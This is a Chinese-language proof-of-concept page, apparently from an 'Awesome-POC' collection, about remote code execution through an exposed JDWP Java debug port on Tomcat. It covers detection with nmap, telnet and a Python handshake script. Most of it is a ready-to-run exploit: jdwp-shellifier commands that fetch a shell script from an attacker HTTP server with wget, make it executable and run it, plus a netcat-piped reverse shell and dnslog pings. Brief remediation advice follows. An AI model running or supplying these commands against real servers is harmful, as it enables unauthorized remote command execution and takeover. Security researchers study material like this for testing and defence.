Awesome-POC/开发语言漏洞/JDWP调试接口 RCE 漏洞.md
2023-07-05 09:20:42 +08:00

5.2 KiB
Raw Blame History

JDWP调试接口 RCE 漏洞

漏洞描述

JDWPJava Debug Wire ProtocolJava调试线协议是一个为Java调试而设计的通讯交互协议它定义了调试器Debugger和被调试JVMDebuggee进程之间的交互数据的传递格式它详细完整地定义了请求命令、回应数据和错误代码保证了调试端和被调试端之间通信通畅。

JDWP是JVM或者类JVM的虚拟机都支持的一种协议通过该协议Debugger端和被调试JVM之间进行通信可以获取被调试JVM的包括类、对象、线程等信息。

参考阅读:

环境搭建

Windows

下载Tomcat到本地bin\startup.bat文件中添加如下代码开启debug模式

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000

点击运行 startup.bat 以debug模式启动Tomcat。

Listening for transport dt_socket at address: 8000表示JDWP服务已经监听在8000端口等待调试器连接。

Linux

执行如下命令安装Tomcat

# 执行wget命令下载Tomcat安装包
wget http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz

# 解压安装包
tar zxvf apache-tomcat-8.5.43.tar.gz

# 将程序安装包复制到指定运行目录下
sudo mv apache-tomcat-8.5.43 /usr/local/tomcat8

启动方式一:

进入Tomcat安装目录下的bin目录下找到 catalina.sh 文件,在文件开头部分添加如下一行:

CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:8000"

修改完成后,执行脚本./startup.sh就会以debug模式启动Tomcat。

启动方式二:

进入Tomcat的bin目录输入 ./catalina.sh jpda run 或者 ./catalina.sh jpda start 命令以调试模式启动tomcat。 启动时就会出现如下信息提示: Listening for transport dt_socket at address: 8000

注意脚本中默认配置JDWP是监听在本地的8000端口修改JDPA_ADDRESS的值对外开放此端口在JDK9及以上的版本需要修改为JDPA_ADDRESS=*:8000 在JDK9以下版本修改为JDPA_ADDRESS=8000 即可

漏洞检测

有三种常用方式来进行JDWP服务探测原理都是一样的即向目标端口连接后发送JDWP-Handshake如果目标服务直接返回一样的内容则说明是JDWP服务。

Nmap

扫描会识别到JDWP服务且有对应的JDK版本信息。

nmap -sT -sV 192.168.192.1 -p 8000

Telnet

使用Telnet命令探测需要马上输入JDWP-Handshake然后服务端返回一样的内容证明是JDWP服务。

telnet 192.168.182.130 8000

注意需要马上输入JDWP-Handshake并按下回车不然马上就会断开。在Linux系统下使用telnet测试可以在Windows系统下使用telnet测试不太行。

Python

使用如下脚本扫描直接连接目标服务器并向目标发送JDWP-Handshake如果能接收到相同内容则说明目标是开启了JDWP服务。

import socket

host = "192.168.182.130"
port = 8000
try:
    client = socket.socket()
    client.connect((host, port))
    client.send(b"JDWP-Handshake")
    if client.recv(1024) == b"JDWP-Handshake":
        print("[*] {}:{} Listening JDWP Service! ".format(host, port))
except Exception as e:
    print("[-] Connection failed! ")
finally:
    client.close()

漏洞POC

POC1

poc1https://github.com/IOActive/jdwp-shellifier jdwp-shellifier是使用Python2编写的该工具通过编写了一个JDIJDWP客户端以下断点的方式来获取线程上下文从而调用方法执行命令。

该漏洞无回显可利用dnslog进行探测

python2 jdwp-shellifier.py -t 192.168.3.118 -p 8787 --break-on "java.lang.String.indexof" --cmd "ping xxx.dnslog.cn"

反弹shell

准备反弹shell文件保存为shell.txt

nc 192.168.178.129 3333 | /bin/bash | nc 192.168.178.129 4444%

启动http服务

python3 -m http.server 8000

开启监听需要开启2个监听前面一个输入执行命令后面一个输出命令执行结果

nc -lvvp 3333
nc -lvvp 4444

利用poc1执行命令下载shell、文件可执行权限、执行shell

python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "wget http://192.168.178.129:8000/shell.txt -O /tmp/shell.sh"
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "chmod a+x /tmp/shell.sh"
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "/tmp/shell.sh"

两个监听都收到shell一个输入命令一个输出结果。

image-20230630173638801

POC2

poc2https://github.com/Lz1y/jdwp-shellifier 该脚本是在上面一个漏洞利用脚本的基础上修改利用方式为通过对Sleeping的线程发送单步执行事件达成断点从而可以直接获取上下文、执行命令而不用等待断点被击中。

修复建议

  • 关闭JDWP端口或者JDWP端口不对公网开放
  • 关闭Java的debug模式